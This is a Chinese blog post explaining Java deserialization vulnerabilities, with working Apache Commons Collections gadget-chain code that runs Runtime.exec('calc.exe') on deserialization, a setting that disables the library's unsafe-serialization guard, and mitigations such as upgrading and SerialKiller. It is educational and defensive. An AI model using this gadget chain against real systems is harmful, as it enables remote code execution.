代码编织梦想

注意:本文例子都是在JDK1.8下跑的

Unsafe Deserialization

进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。

在这里插入图片描述
看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题了。

反序列化漏洞

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

认识Java序列化与反序列化

用途

  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  • 在网络上传送对象的字节序列。

应用场景

  • 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  • 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的API实现:

序列化基础类型参数

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

序列化:  ObjectOutputStream类 --> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 --> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";  //原始字符串,供写入文件用

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);  //输出ls ,证明读取的就是当初写入的字符串对象
        ois.close();
    }

}

我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

序列化对象

实现SerializableExternalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

我们来看个Serializable接口例子,采用默认的序列化方式:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.text.MessageFormat;

class Person implements Serializable {

    // 序列化ID
    private static final long serialVersionUID = -5809782578272943999L;

    private int age;  //省略get,set方法
    private String name; //省略get,set方法
    private String sex; //省略get,set方法
}

public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();// 序列化Person对象
        Person p = DeserializePerson();// 反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(),
                p.getAge(), p.getSex()));
    }

    /**
     * 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException, IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }

    /**
     * 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {

        FileInputStream fis = new FileInputStream("Person.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);

        Person person = (Person) ois.readObject();
        ois.close();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

我们来看个例子,在windows上执行时会弹出计算器,作用是举例说明java调用本地的应用程序,模拟一种攻击效果,后续基于此例子,演示序列化时触发攻击:

引入commons-collections 3.2.2

		<dependency>
			<groupId>commons-collections</groupId>
			<artifactId>commons-collections</artifactId>
			<version>3.2.2</version>
		</dependency>
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class MapTest {

    public static void main(String[] args) {
        Map map = new HashMap();
        map.put("key", "value");
        // 调用系统的计算器命令
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
                
        Transformer transformer = new ChainedTransformer(transformers);
        Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer);   //调用封装方法

        for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
            System.out.println(entry);
            entry.setValue("anything");  //value值发生变化,触发Transformer

        }
    }
}

我们来分析上面代码的原理:

  • TransformedMap.java
    Apache Commons Collections包下的类,实现了Map接口(通过父接口间接实现),作用是封装一个普通的map,可以根据一定的规则,转换map内的对象。

    TransformedMap.decorate()方法,是个static方法,可以封装普通map,该方法有三个参数。

    • 第一个参数为待转化的Map对象

    • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

    • 第三个参数为Map对象内的value要经过的转化方法

      上面的例子中,我们只对value做了特殊处理,对key传参null

  • Transformer.java
    声明接口,实现类都具备把一个对象转化为另一个对象的功能

    • ConstantTransformer
      把一个对象转化为常量,并返回
    • InvokerTransformer.java
      InvokerTransformerTransformer的具体实现,该类通过反射,返回一个结果。transform()方法接收一个对象,然后对该对象调用进行invoke(反射),反射的目标方法正是构造函数的入参methodName(String类型)
    //构造函数,正好是反射需要用到的,入参为方法名称等
      public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
      public Object transform(Object input) {  //入参input
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);     //反射的目标是methodName
                return method.invoke(input, iArgs);     //调用反射
                    
            }
    
  • ChainedTransformer
    多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

简单来说,上面代码的目的等价于下面的简写形式,只不过是为了模拟一种隐蔽的案例:

public static void main(String[] args) throws IOException {
  Runtime.getRuntime().exec("calc.exe");

上例例子目的是通过map的setValue() 触发一种攻击效果,下面就考虑在序列化时,如果也会调用map的setValue()的话,那么也会触发攻击。

思考

目前的构造还需要依赖于调用Map中的setValue()触发 ,怎样才能在调用readObject()方法时直接触发执行呢?

答案:如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,我么就可以实现攻击目标。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

class PersonBean implements Serializable {
    private static final long serialVersionUID = 1L;
    private Map<String, Object> map;   //有个map成员

    private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {  //自定义反序列化实现

        Map<String, Object> map = (Map) is.readObject();
        for (Map.Entry<String, Object> entry : map.entrySet()) {   
            if ("hello".equals(entry.getValue())) {   
                entry.setValue(entry.getValue() + " world");   //触发setValue,拼接字符串
            }
        }
    }

    public Map<String, Object> getMap() {
        return map;
    }

    public void setMap(Map<String, Object> map) {
        this.map = map;
    }

}

public class MapTest2 {
    public static void main(String[] args) throws Exception {

        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");  
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map<String, String> BeforeTransformerMap = new HashMap<String, String>();

        BeforeTransformerMap.put("hello", "hello");  //原始map

        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null,
                transformedChain);   //经过transformedChain处理的map

        PersonBean person = new PersonBean();
        person.setMap(AfterTransformerMap);    //构建person对象

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(person);   //序列化
        out.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        ois.readObject();   //反序列化
        ois.close();

    }
}

例子中只重写了readObject(),一般都是成对重写的,因为涉及到写入内容和读取内容的顺序,这个例子只是演示,并且不设置读取顺序。详细约束可以参考其他文章

PersonBean 是我们构造的,并且自定义了 readObject(),并且触发了危险调用的代码。如果我们的应用程序中存在类似 PersonBean 的话,那么说明就有风险。不幸的是,确实存在,AnnotationInvocationHandler类就是:

//位于rt.jar包中,这个是1.6版本反编译的
class AnnotationInvocationHandler implements InvocationHandler, Serializable {   //继承了Serializable 
 private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
    for (Map.Entry<String, Object> entry : this.memberValues.entrySet()) {
      String str = (String)entry.getKey();
      Class clazz = map.get(str);
      if (clazz != null) {
        Object object = entry.getValue();
        if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
          entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType.members().get(str)));  //entry.setValue重新赋值
      } 

注意:AnnotationInvocationHandler 的源码是1.6的,是为了说明setValue(),而1.8版本该方法重构了,和之前版本大不一样,找不到setValuele 。并且按照原文的例子,可以用AnnotationInvocationHandler 触发业务场景的,但是我没有成功。

后续:经过学习,得知Collections包需要在3.1版本之前,可以复现AnnotationInvocationHandler触发计算器的例子,3.1版本是存在攻击漏洞的版本,后续版本已经修复或加以保护。

注意:由于Apache Commons Collections在 3.2.2版本进行了修复,因此需要设置:

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

否则会报如下错误 org.apache.commons.collections.enableUnsafeSerialization

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
	at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
	at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

原因是 org.apache.commons.collections.functors.FunctorUtils 类中新增加检查属性配置代码如下:

    private void writeObject(ObjectOutputStream os) throws IOException {
        FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
        os.defaultWriteObject();
    }
 
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
        is.defaultReadObject();
    }

解决方案

1.更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

注意仅仅增加检查开关,并不是真正意义上的解决,如果关闭开关,仍然会有风险。

2.NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/m0_45406092/article/details/108117139

09 | 反序列化漏洞:使用了编译型语言,为什么还是会被注入?-爱代码爱编程

我们都知道,Java 是一种高层级的语言。在 Java 中,你不需要直接操控内存,大部分的服务和组件都已经有了成熟的封装。除此之外,Java 是一种先编译再执行的语言,无法像 JavaScript 那样随时插入一段代码。因此,很多人会认为,Java 是一个安全的语言。如果使用 Java 开发服务,我们只需要考虑逻辑层的安全问题即可。但是,Java 真的

Flutter的JSON和序列化-爱代码爱编程

1.概述 许多移动或网页应用都使用 JSON 来处理类似与服务器交换数据的任务。Flutter中是禁止使用反射的。因此,Flutter中没有GSON或Jackson,在Flutter中是禁用的。因为这样的库需要使用运行时反射,而运行时反射会干扰Dart的_tree shaking_。 默认的JSON.decode是将一个json格式的string 转化

java序列化和反序列化-爱代码爱编程

先回顾一下java流之间的关系: 序列化: 指堆内存中的java对象数据,通过某种方式把对象存储到磁盘文件中,或者传递给其他网络节点(网络传输)。这个过程称为序列化,通常是指将数据结构或对象转化成二进制的过程。序列化的好处就是便于运输和存储 反序列化: 把磁盘文件中的对象数据或者把网络节点上的对象数据,恢复成Java对象模型的过程。也就是将在序列化过程

leetcode297. 二叉树的序列化与反序列化-爱代码爱编程

传送门 题目: 序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。 请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列 / 反序列化算法执行逻辑,你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化

【BUUCTF】[极客大挑战 2019] PHP 清晰易懂详细总结 Writeup-爱代码爱编程

【BUUCTF】[极客大挑战 2019] PHP Writeup 0x00 考点目录扫描源码泄露反序列化0x01 解题__wakeup()方法作用:绕过:private public protected区别对比privatepublicprotected 0x00 考点 目录扫描 源码泄露 反序列化 0x01 解题 dirsearch

PHP反序列化漏洞原理及示例-爱代码爱编程

本站转自行云博客https://www.xy586.top/ 文章目录 PHP反序列化序列化与反序列化PHP魔法函数反序列化漏洞简介原理触发条件示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串。 序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序

Windows补丁修复- Microsoft Windows HTTP.sys远程代码执行漏洞 (MS15-034)(CVE-2015-1635)-爱代码爱编程

前段时间,通过工具对服务器做了安全扫描,发现提示“Microsoft Windows HTTP.sys远程代码执行漏洞 (MS15-034)(CVE-2015-1635)” 高风险信息,赶紧查看了相应的资料做了相应的补丁修复。这里略作整理 涉及的系统是windows2012 R2 Server,根据提示MS15-034,有相应的微软提供的问题说明情况

基于ubertooth的BLE数据包发送与嗅探的设计与实现-爱代码爱编程

基于ubertooth的BLE数据包发送与嗅探的设计与实现 0.概述 1.发送与嗅探初识 1.1 什么是libnet、libpcap? 1.2 什么是Raw Socket? 2.发送 2.1 使用libnet发送 2.2 使用Raw Socket发送 3.接收 3

SQL Server 安全漏洞评估工具-爱代码爱编程

为避免SQL Server遭受攻击,组织必须不断评估数据库系统来确定是否存在漏洞。这是一种有效的主动防御方法,用于分析数据库中的潜在漏洞及其与标准设置的偏差,如太大的权限、敏感数据的暴露、错误配置等。这也是满足遵循法规的需求。 安全合规,辨别确认安全漏洞对组织来说是非常重要的。一些可能的数据库漏洞: 用户和组权限过大 敏感数据,如信用卡、银行账户等

【BUUCTF】[ACTF2020 新生赛]Exec Writeup-爱代码爱编程

【BUUCTF】[ACTF2020 新生赛]Exec 0x00 知识点0x01 解题 0x00 知识点 没有过滤,利用常见管道符命令执行1、|(就是按位或),直接执行|后面的语句 2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 3、&(就是按位与),&前面和后面命令都要执行,无论前面真

Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展-爱代码爱编程

之前就看了这个漏洞,但是当时没有认真思考叫因为只是一个%0a绕过就OK 没有理解原理,现在来填坑 环境启动与版本漏洞 1.在apache2.40~2.4.29版本中存在这个漏洞 2.这么我使用的是vulhub环境搭建进入目录编译及运行漏洞环境:docker-compose builddocker-compose up -d 启动后Apache运

DVWA漏洞平台学习之LOW级别-爱代码爱编程

在上一篇文章中,我们搭建了DVWA平台,本文开始,我将依次带你学习如何在DVWA平台上利用这些漏洞。 首先将DVWA的级别设置为LOW。 接下来,我们开始对每个漏洞进行复现。 0x00 Brute Force-暴力破解 漏洞利用 进入Brute Force页面, 要求输入用户名和密码,进行登录,在LOW级别下,没有做任何的防护,我们可以用BurpS